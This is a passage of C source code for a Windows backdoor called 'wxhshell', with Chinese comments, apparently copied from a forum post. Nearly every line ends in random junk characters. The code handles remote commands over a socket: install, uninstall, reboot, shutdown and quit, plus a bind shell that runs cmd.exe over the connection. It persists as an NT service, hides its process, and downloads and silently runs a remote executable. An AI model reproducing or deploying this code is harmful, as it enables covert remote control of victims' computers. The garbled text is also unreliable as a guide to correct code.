    break; d+ jX49Vt  
  } _x!id f  
  // 安装 a%T`c/C  
  case 'i': { N/bOl~!y  
    if(Install()) X.eOw>.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h0'*)`;z  
    else q(?+01  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iT>u&0B-  
    break; FH+X<  
    } 5To@d|{  
  // 卸载  Y~WdN<g  
  case 'r': { v Y0bK-  
    if(Uninstall()) ~5f&<,p!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \8`7E1d  
    else >>y`ap2%V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H<(F$7Q!\  
    break; 68Fl/   
    } bj pruJ`=  
  // 显示 wxhshell 所在路径 @>)VQf8s1  
  case 'p': { -&Z!b!jN  
    char svExeFile[MAX_PATH]; 2R[v*i^S  
    strcpy(svExeFile,"\n\r"); /jG?PZ=m  
      strcat(svExeFile,ExeFile); xB *b7-a  
        send(wsh,svExeFile,strlen(svExeFile),0); `tkoS  
    break; gQy%T]  
    } Ghgn<YG  
  // 重启 HwUaaK   
  case 'b': { 3~~X,ZL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Mg;pNK\n  
    if(Boot(REBOOT)) rwRZGd *p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L  ;L:  
    else { --K) 7  
    closesocket(wsh); !l (Vk  
    ExitThread(0); T$5wH )<  
    } L4>14D\  
    break; 2~kx3` Q  
    } ^kKLi  
  // 关机 /)ZjI W"|  
  case 'd': { FDMQ Lxf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jHFjd'  
    if(Boot(SHUTDOWN)) 0D(8-H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &C9IR,&  
    else { ;6G]~}>o  
    closesocket(wsh); O[ma% E*0  
    ExitThread(0); v$y\X3)mB  
    } kE&R;T`Gb%  
    break; ?Mjs[|  
    } T: za},-  
  // 获取shell =Z\q``RBy  
  case 's': { kL'4m  
    CmdShell(wsh); ~H}Z;n]H  
    closesocket(wsh); OrkcY39"~a  
    ExitThread(0); N]P~`)  
    break; gP% <<yl  
  } x{1 v(n8+=  
  // 退出 )Te\6qM  
  case 'x': { ~7: q+\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y~UuT8-c  
    CloseIt(wsh); `% 9Y)a/e  
    break; Y25`vE(  
    } D!`[fjs6A  
  // 离开 ef)RlzL Oq  
  case 'q': { TGJz[Ny  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Wg|6{'a  
    closesocket(wsh); REh"/d  
    WSACleanup(); ;jzJ6~<  
    exit(1); K *@?BE  
    break; 56Wh<i3  
        } $u<;X^  
  } n!4}Hwz!  
  } n {?Du  
V%R]jbHZ#  
  // 提示信息 $DDO9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8-;.Ejz!\A  
} ,RPb <3 B  
  } f#s6 'g  
? NoNg^Of  
  return; Otq3nBZ  
} IVxJN(N^  
[G_ ;78  
// shell模块句柄 4e#g{,  
int CmdShell(SOCKET sock) MT{1/A;`)  
{ *).  
STARTUPINFO si; z 0?MeH#  
ZeroMemory(&si,sizeof(si)); C6e5*S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hC$e8t60  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zZ[kU1Fyv  
PROCESS_INFORMATION ProcessInfo; `{#""I^_  
char cmdline[]="cmd"; AF:_&gF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3o rSk  
  return 0; Hcf"u&%  
} gW~YB2 $  
s)\PY  
// 自身启动模式 4-bM90&1t  
int StartFromService(void) eEqcAUn  
{ o6u^hG6~'  
typedef struct c44s @ E  
{ o "r  
  DWORD ExitStatus; #'/rFT4{v  
  DWORD PebBaseAddress; =ls+vH40&  
  DWORD AffinityMask; JrBPx/?(,;  
  DWORD BasePriority; Yup#aeXY/  
  ULONG UniqueProcessId; tar/no  
  ULONG InheritedFromUniqueProcessId; R&!;(k0  
}   PROCESS_BASIC_INFORMATION; ;1~n|IY  
T>'w]wi  
PROCNTQSIP NtQueryInformationProcess; <SE-:T]sBz  
R(}<W$(TV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ea4zC|;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]+G .S-a  
1#Vd)vSP  
  HANDLE             hProcess; Yv1yRoDv  
  PROCESS_BASIC_INFORMATION pbi; 2z;nPup,  
zW`Hqt;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?<J~SF Tt  
  if(NULL == hInst ) return 0; |K. I%B  
xjp0w7L)J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IfH/~EtX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ifp8oL?S;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %0&,_jM/9  
5]G%MB/|$  
  if (!NtQueryInformationProcess) return 0; U2`:'  
VK/L}^=GOO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U9BhtmY  
  if(!hProcess) return 0; %]F/!n  
6 (7 56  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J[}j8x?r  
/\,3AInLb  
  CloseHandle(hProcess); 7jw+o*;  
uBG!R#T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ce$ [H}rDB  
if(hProcess==NULL) return 0; *lDVV,T'}w  
%S%UMA.  
HMODULE hMod; V1,p<>9  
char procName[255]; wtbN @g0  
unsigned long cbNeeded; 26}3  
q"269W:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |zRrGQY m  
9<&*iIrM  
  CloseHandle(hProcess); kh}h(z^  
fbM>jK  
if(strstr(procName,"services")) return 1; // 以服务启动 n:a~=^IV  
MHp:".1  
  return 0; // 注册表启动 A pzC  
} _rSwQ<38>  
D_( NLC  
// 主模块 d v4~CW%Td  
int StartWxhshell(LPSTR lpCmdLine) g\B ? |%  
{ 44 8%yP  
  SOCKET wsl; n3? msY(*  
BOOL val=TRUE; uju'Bs7   
  int port=0; SDbkPx  
  struct sockaddr_in door; P\@kqf~pC  
uNEl]Q]<e]  
  if(wscfg.ws_autoins) Install(); mY=sh{ir  
*|q{(KX  
port=atoi(lpCmdLine); UOj*Gt&  
j0LZ )V  
if(port<=0) port=wscfg.ws_port; |)d%3s\  
k"=*'  
  WSADATA data; 2asRJ97qES  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tW!*W?  
$J<WFDn9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %$Fe[#1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \>9^(N  
  door.sin_family = AF_INET; P@bPdw!JA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3{qB<*!p"G  
  door.sin_port = htons(port); "C3J[) qC  
P];0,;nF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -F(luRBS(W  
closesocket(wsl); K#6@sas  
return 1; *oLDy1<  
} G'Wp)W;])\  
]>Dbta.2 7  
  if(listen(wsl,2) == INVALID_SOCKET) { Q e/XEW  
closesocket(wsl); +P 9eE,WR  
return 1; r(>812^\  
} B&7:=t,m(  
  Wxhshell(wsl); !Mgo~h"]#  
  WSACleanup(); EXbZ9 o*  
G]$EIf'  
return 0; 6pb~+=3n  
$KT)Kz8tF  
} )zy ;!  
<l!:#u  
// 以NT服务方式启动 "Uf1;;b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /V cbT >=  
{ l['p^-I  
DWORD   status = 0; HNc/p4z  
  DWORD   specificError = 0xfffffff; LB({,0mcX  
.*n*eeD,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @0 x   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e?7NW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :,yC\,H^  
  serviceStatus.dwWin32ExitCode     = 0; >\~Er@  
  serviceStatus.dwServiceSpecificExitCode = 0; %TAS4hnu%  
  serviceStatus.dwCheckPoint       = 0; ,o0Kevz  
  serviceStatus.dwWaitHint       = 0; kVCWyZh4  
T12Zak4.=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B1Pi+-t  
  if (hServiceStatusHandle==0) return; LPs5LE[Pm  
o\><e1P  
status = GetLastError(); L%3Bp/`S  
  if (status!=NO_ERROR) $e4N4e2x/  
{ ,cS_687o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vgDpo@fz8  
    serviceStatus.dwCheckPoint       = 0; ZI4dD.B  
    serviceStatus.dwWaitHint       = 0; +*`kJ)uP  
    serviceStatus.dwWin32ExitCode     = status; K;Hgq4  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1R yE8DdP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .x] pJ9  
    return; 6WIs*$T2*  
  } =z"8#_3A  
t_16icF9U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m<k6oev$  
  serviceStatus.dwCheckPoint       = 0; )FG/   
  serviceStatus.dwWaitHint       = 0; b>i5r$S8G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S[hyN7sI  
} T*8 S7l  
T~L V\}h  
// 处理NT服务事件,比如:启动、停止 q$b 4S4Z7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) FG!hb?_1  
{ br TP}A  
switch(fdwControl) #*w)rGkU2  
{ Ahbh,U  
case SERVICE_CONTROL_STOP: {98e_z w  
  serviceStatus.dwWin32ExitCode = 0; 8lDb<i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V?0IMc  
  serviceStatus.dwCheckPoint   = 0; bYpeI(zK  
  serviceStatus.dwWaitHint     = 0; 5}_=q;sZ  
  { tux0}|[^'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T%FW|jKw  
  } (C uM*-  
  return; XHdhSFpm  
case SERVICE_CONTROL_PAUSE: f[R~oc5P0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bWlY Q  
  break; Y-st2r[,  
case SERVICE_CONTROL_CONTINUE: 4{vEW(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |N)),/R_  
  break; z%T|L[(6  
case SERVICE_CONTROL_INTERROGATE: L A A(2  
  break; XpkOCo02  
}; UU[z\^w| E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zG/? wP"  
} k?L2LIB<  
mvTp,^1  
// 标准应用程序主函数 Jd v;+HN[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '3sySsD&O  
{ h<>yzr3fN  
9;\mq'v%  
// 获取操作系统版本 wD$UShnm9-  
OsIsNt=GetOsVer(); =O8>[u;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S-3hLw&?  
RjgJIVm(  
  // 从命令行安装 :?y Ma$  
  if(strpbrk(lpCmdLine,"iI")) Install(); +?Cy8Ev?  
> KdV]!H  
  // 下载执行文件 );q~TZ[Do  
if(wscfg.ws_downexe) { .oLV\'HAR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S-Bx`e9'  
  WinExec(wscfg.ws_filenam,SW_HIDE); i'>5vU0?3  
} )cP)HbOd=  
4 83rU  
if(!OsIsNt) { v4'kV:;&  
// 如果时win9x,隐藏进程并且设置为注册表启动 dkDPze9l  
HideProc(); wsH_pF  
StartWxhshell(lpCmdLine); q~W:W}z  
} vp*+C kd  
else ;b1B*B  
  if(StartFromService()) i`+bSg  
  // 以服务方式启动 ; Ad5Jk  
  StartServiceCtrlDispatcher(DispatchTable); 5F ^VvzNn  
else lQ!OD& 6  
  // 普通方式启动 %.$7-+:7A  
  StartWxhshell(lpCmdLine); S++~w9}  
Yc_(g0NK  
return 0; H=f| X<8  
}
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只看该作者 1 发表于: 2006-10-10
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